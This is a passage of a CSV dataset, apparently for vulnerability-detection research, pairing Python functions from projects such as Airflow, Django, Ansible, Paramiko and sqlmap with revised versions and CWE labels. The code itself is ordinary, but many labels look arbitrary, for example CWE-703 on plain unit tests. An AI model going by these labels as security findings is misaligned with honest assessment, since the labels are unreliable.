            ret[""result""] = None
            continue
        subbed = __salt__[""boto3_sns.subscribe""](
            TopicArn, prot, endp, region=region, key=key, keyid=keyid, profile=profile
        )
        if subbed:
            msg = "" Subscription {0}:{1} set on topic {2}."".format(prot, endp, TopicArn)
            ret[""comment""] += msg
            something_changed = True
        else:
            msg = "" Failed to set subscription {0}:{1} on topic {2}."".format(
                prot, endp, TopicArn
            )
            ret[""comment""] += msg
            ret[""result""] = False
            return ret
    for sub in unsubscribe:
        if __opts__[""test""]:
            msg = ""  Subscription {0} would be removed from topic {1}."".format(
                sub, TopicArn
            )
            ret[""comment""] += msg
            ret[""result""] = None
            continue
        unsubbed = __salt__[""boto3_sns.unsubscribe""](
            sub, region=region, key=key, keyid=keyid, profile=profile
        )
        if unsubbed:
            ret[""comment""] += ""  Subscription {0} removed from topic {1}."".format(
                sub, TopicArn
            )
            something_changed = True
        else:
            msg = ""  Failed to remove subscription {0} from topic {1}."".format(
                sub, TopicArn
            )
            ret[""comment""] += msg
            ret[""result""] = False
            return ret
    if something_changed:
        ret[""changes""][""old""] = current
        ret[""changes""][""new""] = __salt__[""boto3_sns.describe_topic""](
            name, region, key, keyid, profile
        )
    return ret"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/crypto_random.py,0,"def random_lib_calls(context):
    # Alerts on any usage of any random library function

    # check type just to be safe
    if type(context.call_function_name_qual) == str:
        qualname_list = context.call_function_name_qual.split('.')
        # if the library is random
        if len(qualname_list) >= 2 and qualname_list[-2] == 'random':
            return bandit.Issue(
                severity=bandit.LOW,
                confidence=bandit.HIGH,
                text=""Use of random is not suitable for security/""
                     ""cryptographic purposes.""
            )",UNKNOWN,PyCQA/bandit,6e2e387e4fb5a91867e8c7ea46ed8c7357df253a,"def random_lib_calls(context):
    # Alerts on any usage of any random library function

    # check type just to be safe
    if type(context.call_function_name_qual) == str:
        qualname_list = context.call_function_name_qual.split('.')
        # if the library is random
        if len(qualname_list) >= 2 and qualname_list[-2] == 'random':
            return(bandit.INFO, 'Use of random is not suitable for security/'
                   'cryptographic purposes.')"
,UNKNOWN,UNKNOWN,providers/tests/microsoft/azure/operators/test_container_instances.py,1,"def test_execute_fails_with_incorrect_restart_policy(self, aci_mock):
        aci_mock.return_value.get_state.return_value = make_mock_container(
            state=""Terminated"", exit_code=0, detail_status=""test""
        )
        aci_mock.return_value.exists.return_value = False

        with pytest.raises(AirflowException) as ctx:
            AzureContainerInstancesOperator(
                ci_conn_id=None,
                registry_conn_id=None,
                resource_group=""resource-group"",
                name=""container-name"",
                image=""container-image"",
                region=""region"",
                task_id=""task"",
                restart_policy=""Everyday"",
            )

        assert (
            str(ctx.value) == ""Invalid value for the restart_policy argument. ""
            ""Please set one of 'Always', 'OnFailure','Never' as the restart_policy. ""
            ""Found `Everyday`""
        )",CWE-703,apache/airflow,a50d2e51e05e80aad4e9aca30adbf66628a3091d,"def test_execute_fails_with_incorrect_restart_policy(self, aci_mock):
        aci_mock.return_value.get_state.return_value = make_mock_container(
            state=""Terminated"", exit_code=0, detail_status=""test""
        )
        aci_mock.return_value.exists.return_value = False

        with pytest.raises(AirflowException) as ctx:
            AzureContainerInstancesOperator(
                ci_conn_id=None,
                registry_conn_id=None,
                resource_group=""resource-group"",
                name=""container-name"",
                image=""container-image"",
                region=""region"",
                task_id=""task"",
                restart_policy=""Everyday"",
            )

        assert (
            str(ctx.value) == ""Invalid value for the restart_policy argument. ""
            ""Please set one of 'Always', 'OnFailure','Never' as the restart_policy. ""
            ""Found `Everyday`""
        )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/hooks/dlp.py,0,"def create_deidentify_template(
        self,
        organization_id: Optional[str] = None,
        project_id: Optional[str] = None,
        deidentify_template: Optional[Union[dict, DeidentifyTemplate]] = None,
        template_id: Optional[str] = None,
        retry: Optional[Retry] = None,
        timeout: Optional[float] = None,
        metadata: Optional[Sequence[Tuple[str, str]]] = None,
    ) -> DeidentifyTemplate:
        """"""
        Creates a deidentify template for re-using frequently used configuration for
        de-identifying content, images, and storage.

        :param organization_id: (Optional) The organization ID. Required to set this
            field if parent resource is an organization.
        :type organization_id: str
        :param project_id: (Optional) Google Cloud Platform project ID where the
            DLP Instance exists. Only set this field if the parent resource is
            a project instead of an organzation.
        :type project_id: str
        :param deidentify_template: (Optional) The de-identify template to create.
        :type deidentify_template: dict or google.cloud.dlp_v2.types.DeidentifyTemplate
        :param template_id: (Optional) The template ID.
        :type template_id: str
        :param retry: (Optional) A retry object used to retry requests.
            If None is specified, requests will not be retried.
        :type retry: google.api_core.retry.Retry
        :param timeout: (Optional) The amount of time, in seconds, to wait for the request
            to complete. Note that if retry is specified, the timeout applies to each
            individual attempt.
        :type timeout: float
        :param metadata: (Optional) Additional metadata that is provided to the method.
        :type metadata: Sequence[Tuple[str, str]]
        :rtype: google.cloud.dlp_v2.types.DeidentifyTemplate
        """"""

        client = self.get_conn()
        # Handle project_id from connection configuration
        project_id = project_id or self.project_id

        if organization_id:
            parent = DlpServiceClient.organization_path(organization_id)
        elif project_id:
            parent = DlpServiceClient.project_path(project_id)
        else:
            raise AirflowException(""Please provide either organization_id or project_id."")

        return client.create_deidentify_template(
            parent=parent,
            deidentify_template=deidentify_template,
            template_id=template_id,
            retry=retry,
            timeout=timeout,
            metadata=metadata,
        )",CWE-Unknown,apache/airflow,b43f90abf4c7219d5d59cccb0514256bd3f2fdc7,"def create_deidentify_template(
        self,
        organization_id: Optional[str] = None,
        project_id: Optional[str] = None,
        deidentify_template: Optional[Union[dict, DeidentifyTemplate]] = None,
        template_id: Optional[str] = None,
        retry: Optional[Retry] = None,
        timeout: Optional[float] = None,
        metadata: Optional[Sequence[Tuple[str, str]]] = None,
    ) -> DeidentifyTemplate:
        """"""
        Creates a deidentify template for re-using frequently used configuration for
        de-identifying content, images, and storage.

        :param organization_id: (Optional) The organization ID. Required to set this
            field if parent resource is an organzation.
        :type organization_id: str
        :param project_id: (Optional) Google Cloud Platform project ID where the
            DLP Instance exists. Only set this field if the parent resource is
            a project instead of an organzation.
        :type project_id: str
        :param deidentify_template: (Optional) The deidentify template to create.
        :type deidentify_template: dict or google.cloud.dlp_v2.types.DeidentifyTemplate
        :param template_id: (Optional) The template ID.
        :type template_id: str
        :param retry: (Optional) A retry object used to retry requests.
            If None is specified, requests will not be retried.
        :type retry: google.api_core.retry.Retry
        :param timeout: (Optional) The amount of time, in seconds, to wait for the request
            to complete. Note that if retry is specified, the timeout applies to each
            individual attempt.
        :type timeout: float
        :param metadata: (Optional) Additional metadata that is provided to the method.
        :type metadata: Sequence[Tuple[str, str]]
        :rtype: google.cloud.dlp_v2.types.DeidentifyTemplate
        """"""

        client = self.get_conn()
        # Handle project_id from connection configuration
        project_id = project_id or self.project_id

        if organization_id:
            parent = DlpServiceClient.organization_path(organization_id)
        elif project_id:
            parent = DlpServiceClient.project_path(project_id)
        else:
            raise AirflowException(""Please provide either organization_id or project_id."")

        return client.create_deidentify_template(
            parent=parent,
            deidentify_template=deidentify_template,
            template_id=template_id,
            retry=retry,
            timeout=timeout,
            metadata=metadata,
        )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/ecdsakey.py,0,"def generate(cls, curve=ec.SECP256R1(), progress_func=None, bits=None):
        """"""
        Generate a new private ECDSA key.  This factory function can be used to
        generate a new host key or authentication key.

        :param function progress_func: Not used for this type of key.
        :returns: A new private key (`.ECDSAKey`) object
        """"""
        if bits is not None:
            curve = cls._ECDSA_CURVES.get_by_key_length(bits)
            if curve is None:
                raise ValueError(""Unsupported key length: %d"" % bits)
            curve = curve.curve_class()

        private_key = ec.generate_private_key(curve, backend=default_backend())
        return ECDSAKey(vals=(private_key, private_key.public_key()))",,paramiko/paramiko,ecb297518267487853813109da946d7240d717e1,"def generate(cls, curve=ec.SECP256R1(), progress_func=None, bits=None):
        """"""
        Generate a new private ECDSA key.  This factory function can be used to
        generate a new host key or authentication key.

        :param function progress_func: Not used for this type of key.
        :returns: A new private key (`.ECDSAKey`) object
        """"""
        if bits is not None:
            curve = cls._ECDSA_CURVES.get_by_key_length(bits)
            if curve is None:
                raise ValueError(""Unsupported key length: %d""%(bits))
            curve = curve.curve_class()

        private_key = ec.generate_private_key(curve, backend=default_backend())
        return ECDSAKey(vals=(private_key, private_key.public_key()))"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/evtlogs.py,0,,,volatilityfoundation/volatility,b0026ac57ee2e2a8fa925efd657091d1c676662c,"def unified_output(self, data):
        return TreeGrid([(""TimeWritten"", str),
                       (""LogFile"", str),
                       (""ComputerName"", str),
                       (""SID"", str),
                       (""Source"", str),
                       (""EventID"", str),
                       (""EventType"", str)],
                        self.generator(data))"
,UNKNOWN,UNKNOWN,django/utils/html.py,1,"def format_html_join(sep, format_string, args_generator):
    """"""
    A wrapper of format_html, for the common case of a group of arguments that
    need to be formatted using the same format string, and then joined using
    'sep'. 'sep' is also passed through conditional_escape.

    'args_generator' should be an iterator that returns the sequence of 'args'
    that will be passed to format_html.

    Example:

      format_html_join('\n', ""<li>{0} {1}</li>"", ((u.first_name, u.last_name)
                                                  for u in users))

    """"""
    return mark_safe(conditional_escape(sep).join(
        format_html(format_string, *tuple(args))
        for args in args_generator))",CWE-79,django/django,b289fcf1bfeaa717ed465b2529a275b61dc02d92,"def format_html_join(sep, format_string, args_generator):
    """"""
    A wrapper of format_html, for the common case of a group of arguments that
    need to be formatted using the same format string, and then joined using
    'sep'. 'sep' is also passed through conditional_escape.

    'args_generator' should be an iterator that returns the sequence of 'args'
    that will be passed to format_html.

    Example:

      format_html_join('\n', ""<li>{0} {1}</li>"", ((u.first_name, u.last_name)
                                                  for u in users))

    """"""
    return mark_safe(conditional_escape(sep).join(
            format_html(format_string, *tuple(args))
            for args in args_generator))"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/cli/commands/test_task_command.py,1,"def test_mapped_task_render(self):
        """"""
        tasks render should render and displays templated fields for a given mapping task
        """"""
        with redirect_stdout(io.StringIO()) as stdout:
            task_command.task_render(
                self.parser.parse_args(
                    [
                        ""tasks"",
                        ""render"",
                        ""test_mapped_classic"",
                        ""consumer_literal"",
                        ""2022-01-01"",
                        ""--map-index"",
                        ""0"",
                    ]
                )
            )
        # the dag test_mapped_classic has op_args=[[1], [2], [3]], so the first mapping task should have
        # op_args=[1]
        output = stdout.getvalue()
        assert ""[1]"" in output
        assert ""[2]"" not in output
        assert ""[3]"" not in output
        assert ""property: op_args"" in output",CWE-703,apache/airflow,7796cdc7eeb3ff66fcee40a10e062ce4b6c08614,"def test_mapped_task_render(self):
        """"""
        tasks render should render and displays templated fields for a given mapping task
        """"""
        dag = DagBag().get_dag(""test_mapped_classic"")
        dag.sync_to_db()
        SerializedDagModel.write_dag(dag, bundle_name=""testing"")
        with redirect_stdout(io.StringIO()) as stdout:
            task_command.task_render(
                self.parser.parse_args(
                    [
                        ""tasks"",
                        ""render"",
                        ""test_mapped_classic"",
                        ""consumer_literal"",
                        ""2022-01-01"",
                        ""--map-index"",
                        ""0"",
                    ]
                )
            )
        # the dag test_mapped_classic has op_args=[[1], [2], [3]], so the first mapping task should have
        # op_args=[1]
        output = stdout.getvalue()
        assert ""[1]"" in output
        assert ""[2]"" not in output
        assert ""[3]"" not in output
        assert ""property: op_args"" in output"
,UNKNOWN,UNKNOWN,test/units/modules/test_iptables.py,1,"def test_chain_creation(mocker):
    """"""Test chain creation when absent.""""""
    set_module_args(
        {
            ""chain"": ""FOOBAR"",
            ""state"": ""present"",
            ""chain_management"": True,
            ""wait"": 10,
        }
    )

    commands_results = [
        (1, """", """"),  # check_chain_present
        (0, """", """"),  # create_chain
    ]

    run_command = mocker.patch(
        ""ansible.module_utils.basic.AnsibleModule.run_command"",
        side_effect=commands_results,
    )

    mocker.patch(
        ""ansible.module_utils.basic.AnsibleModule.exit_json"",
        side_effect=exit_json,
    )
    with pytest.raises(AnsibleExitJson):
        iptables.main()

    assert run_command.call_count == 2
    first_cmd_args_list = run_command.call_args_list[0]
    assert first_cmd_args_list[0][0] == [
        IPTABLES_CMD,
        ""-t"",
        ""filter"",
        ""-L"",
        ""FOOBAR"",
        ""-w"",
        ""10"",
    ]

    second_cmd_args_list = run_command.call_args_list[1]
    assert second_cmd_args_list[0][0] == [
        IPTABLES_CMD,
        ""-t"",
        ""filter"",
        ""-N"",
        ""FOOBAR"",
        ""-w"",
        ""10"",
    ]

    commands_results = [
        (0, """", """"),  # check_rule_present
    ]

    run_command = mocker.patch(
        ""ansible.module_utils.basic.AnsibleModule.run_command"",
        side_effect=commands_results,
    )

    with pytest.raises(AnsibleExitJson) as exc:
        iptables.main()
    assert not exc.value.args[0][""changed""]",CWE-703,ansible/ansible,f727d74fc248ed29da403e5240816449f25d9836,"def test_chain_creation(mocker):
    """"""Test chain creation when absent.""""""
    set_module_args(
        {
            ""chain"": ""FOOBAR"",
            ""state"": ""present"",
            ""chain_management"": True,
        }
    )

    commands_results = [
        (1, """", """"),  # check_chain_present
        (0, """", """"),  # create_chain
    ]

    run_command = mocker.patch(
        ""ansible.module_utils.basic.AnsibleModule.run_command"",
        side_effect=commands_results,
    )

    mocker.patch(
        ""ansible.module_utils.basic.AnsibleModule.exit_json"",
        side_effect=exit_json,
    )
    with pytest.raises(AnsibleExitJson):
        iptables.main()

    assert run_command.call_count == 2
    first_cmd_args_list = run_command.call_args_list[0]
    assert first_cmd_args_list[0][0] == [
        IPTABLES_CMD,
        ""-t"",
        ""filter"",
        ""-L"",
        ""FOOBAR"",
    ]

    second_cmd_args_list = run_command.call_args_list[1]
    assert second_cmd_args_list[0][0] == [
        IPTABLES_CMD,
        ""-t"",
        ""filter"",
        ""-N"",
        ""FOOBAR"",
    ]

    commands_results = [
        (0, """", """"),  # check_rule_present
    ]

    run_command = mocker.patch(
        ""ansible.module_utils.basic.AnsibleModule.run_command"",
        side_effect=commands_results,
    )

    with pytest.raises(AnsibleExitJson) as exc:
        iptables.main()
    assert not exc.value.args[0][""changed""]"
,UNKNOWN,UNKNOWN,lib/core/option.py,1,"def _setHTTPHandlers():
    """"""
    Check and set the HTTP/SOCKS proxy for all HTTP requests.
    """"""

    with kb.locks.handlers:
        if conf.proxyList is not None:
            if not conf.proxyList:
                errMsg = ""list of usable proxies is exhausted""
                raise SqlmapNoneDataException(errMsg)

            conf.proxy = conf.proxyList[0]
            conf.proxyList = conf.proxyList[1:]

            infoMsg = ""loading proxy '%s' from a supplied proxy list file"" % conf.proxy
            logger.info(infoMsg)

        elif not conf.proxy:
            if conf.hostname in (""localhost"", ""127.0.0.1"") or conf.ignoreProxy:
                proxyHandler.proxies = {}

        if conf.proxy:
            debugMsg = ""setting the HTTP/SOCKS proxy for all HTTP requests""
            logger.debug(debugMsg)

            try:
                _ = _urllib.parse.urlsplit(conf.proxy)
            except Exception as ex:
                errMsg = ""invalid proxy address '%s' ('%s')"" % (conf.proxy, getSafeExString(ex))
                raise SqlmapSyntaxException(errMsg)

            hostnamePort = _.netloc.split("":"")

            scheme = _.scheme.upper()
            hostname = hostnamePort[0]
            port = None
            username = None
            password = None

            if len(hostnamePort) == 2:
                try:
                    port = int(hostnamePort[1])
                except:
                    pass  # drops into the next check block

            if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)):
                errMsg = ""proxy value must be in format '(%s)://address:port'"" % ""|"".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE))
                raise SqlmapSyntaxException(errMsg)

            if conf.proxyCred:
                _ = re.search(r""\A(.*?):(.*?)\Z"", conf.proxyCred)
                if not _:
                    errMsg = ""proxy authentication credentials ""
                    errMsg += ""value must be in format username:password""
                    raise SqlmapSyntaxException(errMsg)
                else:
                    username = _.group(1)
                    password = _.group(2)

            if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5):
                proxyHandler.proxies = {}

                if scheme == PROXY_TYPE.SOCKS4:
                    warnMsg = ""SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)""
                    singleTimeWarnMessage(warnMsg)

                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password)
                socks.wrapmodule(_http_client)
            else:
                socks.unwrapmodule(_http_client)

                if conf.proxyCred:
                    # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection
                    proxyString = ""%s@"" % conf.proxyCred
                else:
                    proxyString = """"

                proxyString += ""%s:%d"" % (hostname, port)
                proxyHandler.proxies = {""http"": proxyString, ""https"": proxyString}

            proxyHandler.__init__(proxyHandler.proxies)

        if not proxyHandler.proxies:
            for _ in (""http"", ""https""):
                if hasattr(proxyHandler, ""%s_open"" % _):
                    delattr(proxyHandler, ""%s_open"" % _)

        debugMsg = ""creating HTTP requests opener object""
        logger.debug(debugMsg)

        handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler])

        if not conf.dropSetCookie:
            if not conf.loadCookies:
                conf.cj = _http_cookiejar.CookieJar()
            else:
                conf.cj = _http_cookiejar.MozillaCookieJar()
                resetCookieJar(conf.cj)

            handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))

        # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
        if conf.keepAlive:
            warnMsg = ""persistent HTTP(s) connections, Keep-Alive, has ""
            warnMsg += ""been disabled because of its incompatibility ""

            if conf.proxy:
                warnMsg += ""with HTTP(s) proxy""
                logger.warn(warnMsg)
            elif conf.authType:
                warnMsg += ""with authentication methods""
                logger.warn(warnMsg)
            else:
                handlers.append(keepAliveHandler)

        opener = _urllib.request.build_opener(*handlers)
        opener.addheaders = []  # Note: clearing default ""User-Agent: Python-urllib/X.Y""
        _urllib.request.install_opener(opener)",CWE-703,sqlmapproject/sqlmap,61f32192b0b5637757662613a18cf87425c97e38,"def _setHTTPHandlers():
    """"""
    Check and set the HTTP/SOCKS proxy for all HTTP requests.
    """"""
    global proxyHandler

    for _ in (""http"", ""https""):
        if hasattr(proxyHandler, ""%s_open"" % _):
            delattr(proxyHandler, ""%s_open"" % _)

    if conf.proxyList is not None:
        if not conf.proxyList:
            errMsg = ""list of usable proxies is exhausted""
            raise SqlmapNoneDataException(errMsg)

        conf.proxy = conf.proxyList[0]
        conf.proxyList = conf.proxyList[1:]

        infoMsg = ""loading proxy '%s' from a supplied proxy list file"" % conf.proxy
        logger.info(infoMsg)

    elif not conf.proxy:
        if conf.hostname in (""localhost"", ""127.0.0.1"") or conf.ignoreProxy:
            proxyHandler.proxies = {}

    if conf.proxy:
        debugMsg = ""setting the HTTP/SOCKS proxy for all HTTP requests""
        logger.debug(debugMsg)

        try:
            _ = _urllib.parse.urlsplit(conf.proxy)
        except Exception as ex:
            errMsg = ""invalid proxy address '%s' ('%s')"" % (conf.proxy, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

        hostnamePort = _.netloc.split("":"")

        scheme = _.scheme.upper()
        hostname = hostnamePort[0]
        port = None
        username = None
        password = None

        if len(hostnamePort) == 2:
            try:
                port = int(hostnamePort[1])
            except:
                pass  # drops into the next check block

        if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)):
            errMsg = ""proxy value must be in format '(%s)://address:port'"" % ""|"".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE))
            raise SqlmapSyntaxException(errMsg)

        if conf.proxyCred:
            _ = re.search(r""\A(.*?):(.*?)\Z"", conf.proxyCred)
            if not _:
                errMsg = ""proxy authentication credentials ""
                errMsg += ""value must be in format username:password""
                raise SqlmapSyntaxException(errMsg)
            else:
                username = _.group(1)
                password = _.group(2)

        if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5):
            proxyHandler.proxies = {}

            if scheme == PROXY_TYPE.SOCKS4:
                warnMsg = ""SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)""
                singleTimeWarnMessage(warnMsg)

            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password)
            socks.wrapmodule(_http_client)
        else:
            socks.unwrapmodule(_http_client)

            if conf.proxyCred:
                # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection
                proxyString = ""%s@"" % conf.proxyCred
            else:
                proxyString = """"

            proxyString += ""%s:%d"" % (hostname, port)
            proxyHandler.proxies = {""http"": proxyString, ""https"": proxyString}

        proxyHandler.__init__(proxyHandler.proxies)

    debugMsg = ""creating HTTP requests opener object""
    logger.debug(debugMsg)

    handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler])

    if not conf.dropSetCookie:
        if not conf.loadCookies:
            conf.cj = _http_cookiejar.CookieJar()
        else:
            conf.cj = _http_cookiejar.MozillaCookieJar()
            resetCookieJar(conf.cj)

        handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))

    # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
    if conf.keepAlive:
        warnMsg = ""persistent HTTP(s) connections, Keep-Alive, has ""
        warnMsg += ""been disabled because of its incompatibility ""

        if conf.proxy:
            warnMsg += ""with HTTP(s) proxy""
            logger.warn(warnMsg)
        elif conf.authType:
            warnMsg += ""with authentication methods""
            logger.warn(warnMsg)
        else:
            handlers.append(keepAliveHandler)

    opener = _urllib.request.build_opener(*handlers)
    opener.addheaders = []  # Note: clearing default ""User-Agent: Python-urllib/X.Y""
    _urllib.request.install_opener(opener)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/addrspaces/amd64.py,0,"def get_available_pages(self):
        '''
        Return a list of lists of available memory pages.
        Each entry in the list is the starting virtual address 
        and the size of the memory page.
        '''

        # Pages that hold PDEs and PTEs are 0x1000 bytes each.
        # Each PDE and PTE is eight bytes. Thus there are 0x1000 / 8 = 0x200
        # PDEs and PTEs we must test.
        for pml4e in range(0, 0x200):
            vaddr = pml4e << 39
            pml4e_value = self.get_pml4e(vaddr)
            if not self.entry_present(pml4e_value):
                continue
            for pdpte in range(0, 0x200):
                vaddr = (pml4e << 39) | (pdpte << 30)
                pdpte_value = self.get_pdpte(vaddr, pml4e_value)
                if not self.entry_present(pdpte_value):
                    continue
                if self.page_size_flag(pdpte_value):
                    yield (vaddr, 0x40000000)
                    continue
                tmp2 = vaddr
                for pde in range(0, 0x200):
                    vaddr = tmp2 | (pde << 21)
                    pde_value = self.get_pde(vaddr, pdpte_value)
                    if not self.entry_present(pde_value):
                        continue
                    if self.page_size_flag(pde_value):
                        yield (vaddr, 0x200000)
                        continue

                    tmp = vaddr
                    for pte in range(0, 0x200):
                        vaddr = tmp | (pte << 12)
                        pte_value = self.get_pte(vaddr, pde_value)
                        if self.entry_present(pte_value):
                            yield (vaddr, 0x1000)",,volatilityfoundation/volatility,f606ffd282fd57a8e82be898c0d184ae0bee3383,"def get_available_pages(self):
        '''
        Return a list of lists of available memory pages.
        Each entry in the list is the starting virtual address 
        and the size of the memory page.
        '''

        # Pages that hold PDEs and PTEs are 0x1000 bytes each.
        # Each PDE and PTE is eight bytes. Thus there are 0x1000 / 8 = 0x200
        # PDEs and PTEs we must test.
        for pml4e in range(0, 0x200):
            vaddr = pml4e << 39
            pml4e_value = self.get_pml4e(vaddr)
            if not self.entry_present(pml4e_value):
                continue
            for pdpte in range(0, 0x200):
                vaddr = (pml4e << 39) | (pdpte << 30)
                pdpte_value = self.get_pdpte(vaddr, pml4e_value)
                if not self.entry_present(pdpte_value):
                    continue
                if self.page_size_flag(pdpte_value):
                    yield (vaddr, 0x40000000)
                    continue
                tmp2 = vaddr
                for pde in range(0, 0x200):
                    vaddr = tmp2 | (pde << 21)
                    pde_value = self.get_pde(vaddr, pdpte_value)
                    if not self.entry_present(pde_value):
                        continue
                    if self.page_size_flag(pde_value):
                        yield (vaddr, 0x200000)
                        continue

                    tmp = vaddr
                    for pte in range(0, 0x200):
                        vaddr = tmp | (pte << 12)
                        pte_value = self.get_pte(vaddr, pde_value)
                        if self.entry_present(pte_value):
                            yield (vaddr, 0x1000)"
,UNKNOWN,UNKNOWN,tests/admin_widgets/tests.py,1,"def test_calendar_show_date_from_input(self):
        """"""
        Ensure that the calendar show the date from the input field for every
        locale supported by django.
        """"""
        self.admin_login(username='super', password='secret', login_url='/')

        # Enter test data
        member = models.Member.objects.create(name='Bob', birthdate=datetime(1984, 5, 15), gender='M')

        # Get month name translations for every locale
        month_string = 'May'
        path = os.path.join(os.path.dirname(import_module('django.contrib.admin').__file__), 'locale')
        for language_code, language_name in settings.LANGUAGES:
            try:
                catalog = gettext.translation('djangojs', path, [language_code])
            except IOError:
                continue
            if month_string in catalog._catalog:
                month_name = catalog._catalog[month_string]
            else:
                month_name = month_string

            # Get the expected caption
            may_translation = month_name
            expected_caption = '{0:s} {1:d}'.format(may_translation.upper(), 1984)

            # Test with every locale
            with override_settings(LANGUAGE_CODE=language_code, USE_L10N=True):

                # Open a page that has a date picker widget
                self.selenium.get('{}{}'.format(self.live_server_url,
                    reverse('admin:admin_widgets_member_change', args=(member.pk,))))

                # Click on the calendar icon
                self.selenium.find_element_by_id('calendarlink0').click()
                # Make sure that the right month and year are displayed
                self.wait_for_text('#calendarin0 caption', expected_caption)",CWE-259,django/django,7f663aeccf17a75d5fe3fee02d1ac577fdeb57f2,"def test_calendar_show_date_from_input(self):
        """"""
        Ensure that the calendar show the date from the input field for every
        locale supported by django.
        """"""
        self.admin_login(username='super', password='secret', login_url='/')

        # Enter test data
        member = models.Member.objects.create(name='Bob', birthdate=datetime(1984, 5, 15), gender='M')

        # Get month names translations for every locales
        month_string = 'January February March April May June July August September October November December'
        path = os.path.join(os.path.dirname(import_module('django.contrib.admin').__file__), 'locale')
        for language_code, language_name in settings.LANGUAGES:
            try:
                catalog = gettext.translation('djangojs', path, [language_code])
            except IOError:
                continue
            if month_string in catalog._catalog:
                month_names = catalog._catalog[month_string]
            else:
                month_names = month_string

            # Get the expected caption
            may_translation = month_names.split(' ')[4]
            expected_caption = '{0:s} {1:d}'.format(may_translation.upper(), 1984)

            # Test with every locale
            with override_settings(LANGUAGE_CODE=language_code, USE_L10N=True):

                # Open a page that has a date picker widget
                self.selenium.get('{}{}'.format(self.live_server_url,
                    reverse('admin:admin_widgets_member_change', args=(member.pk,))))

                # Click on the calendar icon
                self.selenium.find_element_by_id('calendarlink0').click()
                # Make sure that the right month and year are displayed
                self.wait_for_text('#calendarin0 caption', expected_caption)"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/core/test_configuration.py,1,"def test_get_section_should_respect_cmd_env_variable(self, tmp_path, monkeypatch):
        cmd_file = tmp_path / ""testfile.sh""
        cmd_file.write_text(""#!/usr/bin/env bash\necho -n difficult_unpredictable_cat_password\n"")
        cmd_file.chmod(0o0555)

        monkeypatch.setenv(""AIRFLOW__API__SECRET_KEY_CMD"", str(cmd_file))
        content = conf.getsection(""api"")
        assert content[""secret_key""] == ""difficult_unpredictable_cat_password""",CWE-703,apache/airflow,fad5fb5cd264638fe75076c45b1bcf02eefe4dac,"def test_get_section_should_respect_cmd_env_variable(self, tmp_path, monkeypatch):
        cmd_file = tmp_path / ""testfile.sh""
        cmd_file.write_text(""#!/usr/bin/env bash\necho -n difficult_unpredictable_cat_password\n"")
        cmd_file.chmod(0o0555)

        monkeypatch.setenv(""AIRFLOW__WEBSERVER__SECRET_KEY_CMD"", str(cmd_file))
        content = conf.getsection(""webserver"")
        assert content[""secret_key""] == ""difficult_unpredictable_cat_password"""
,UNKNOWN,UNKNOWN,lib/ansible/playbook/play_context.py,1,"def make_become_cmd(self, cmd, executable=None):
        """""" helper function to create privilege escalation commands """"""

        prompt = None
        success_key = None
        self.prompt = None

        if self.become:

            if not executable:
                executable = self.executable

            becomecmd = None
            randbits = ''.join(random.choice(string.ascii_lowercase) for x in range(32))
            success_key = 'BECOME-SUCCESS-%s' % randbits
            success_cmd = shlex_quote('echo %s; %s' % (success_key, cmd))

            if executable:
                command = '%s -c %s' % (executable, success_cmd)
            else:
                command = success_cmd

            # set executable to use for the privilege escalation method, with various overrides
            exe = self.become_exe or getattr(self, '%s_exe' % self.become_method, self.become_method)

            # set flags to use for the privilege escalation method, with various overrides
            flags = self.become_flags or getattr(self, '%s_flags' % self.become_method, '')

            if self.become_method == 'sudo':
                # If we have a password, we run sudo with a randomly-generated
                # prompt set using -p. Otherwise we run it with default -n, which makes
                # it fail if it would have prompted for a password.
                # Cannot rely on -n as it can be removed from defaults, which should be
                # done for older versions of sudo that do not support the option.
                #
                # Passing a quoted compound command to sudo (or sudo -s)
                # directly doesn't work, so we shellquote it with shlex_quote()
                # and pass the quoted string to the user's shell.

                # force quick error if password is required but not supplied, should prevent sudo hangs.
                if self.become_pass:
                    prompt = '[sudo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s %s -p ""%s"" -u %s %s' % (exe, flags.replace('-n', ''), prompt, self.become_user, command)
                else:
                    becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, command)

            elif self.become_method == 'su':

                # passing code ref to examine prompt as simple string comparisson isn't good enough with su
                def detect_su_prompt(b_data):
                    b_password_string = b""|"".join([br'(\w+\'s )?' + x for x in b_SU_PROMPT_LOCALIZATIONS])
                    # Colon or unicode fullwidth colon
                    b_password_string = b_password_string + to_bytes(u' ?(:|：) ?')
